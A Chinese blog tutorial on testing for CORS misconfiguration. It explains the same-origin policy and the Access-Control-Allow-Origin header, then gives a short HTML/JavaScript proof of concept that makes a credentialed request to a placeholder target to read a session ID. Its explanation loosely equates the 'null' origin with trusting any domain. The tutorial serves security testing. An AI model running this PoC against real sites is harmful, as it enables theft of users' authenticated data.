美文网首页菜鸟追梦
Web业务安全测试—CORS跨域资源共享漏洞

Web业务安全测试—CORS跨域资源共享漏洞

作者: Magicknight | 来源:发表于2018-07-24 18:06 被阅读163次

    CORS跨域共享漏洞的定义

    • 首先了解下同源策略,同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。不是同源的网站,不能相互读取信息,譬如用户登录A站,同时登录了B站,如果A\B不是同源,那么A不能读取B站的数据
    同源策略:
    • 同端口
    • 同协议
    • 同域名

    生活总有例外,实践中有一些场景需要跨域的读写,所以在XMLHttpRequest v2标准下,提出了CORS(Cross Origin Resourse-Sharing)的模型,试图提供安全方便的跨域读写资源。目前主流浏览器均支持CORS。

    • 当CORS的设置不正确时,就会带来安全问题。注意Access-Control-Allow-Origin的值,当其为null、意味着信任任何域,*这时候可能引入安全问题。

    在测试过程发现,当A网站设置Access-Control-Allow-Origin:null的时候,B站能够读取A站的敏感数据。此漏洞曾在黑客大会上爆过https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/并未引起太多关注。
    POC如下:

    <html>
    <body>
    <center>
    <h2>CORS POC Exploit</h2>
    <h3>Extract SID</h3>
     
    <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
    </div>
     
    <script>
    function cors() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          document.getElementById("demo").innerHTML = alert(this.responseText);
        }
      };
      xhttp.open("GET", "https://target.com/info/", true);
      xhttp.withCredentials = true;
      xhttp.send();
    }
    </script>
     
    </body>
    </html>
    

    Post请求也能获取敏感数据。

    相关文章

      网友评论

        本文标题:Web业务安全测试—CORS跨域资源共享漏洞

        本文链接:https://www.haomeiwen.com/subject/ihsymftx.html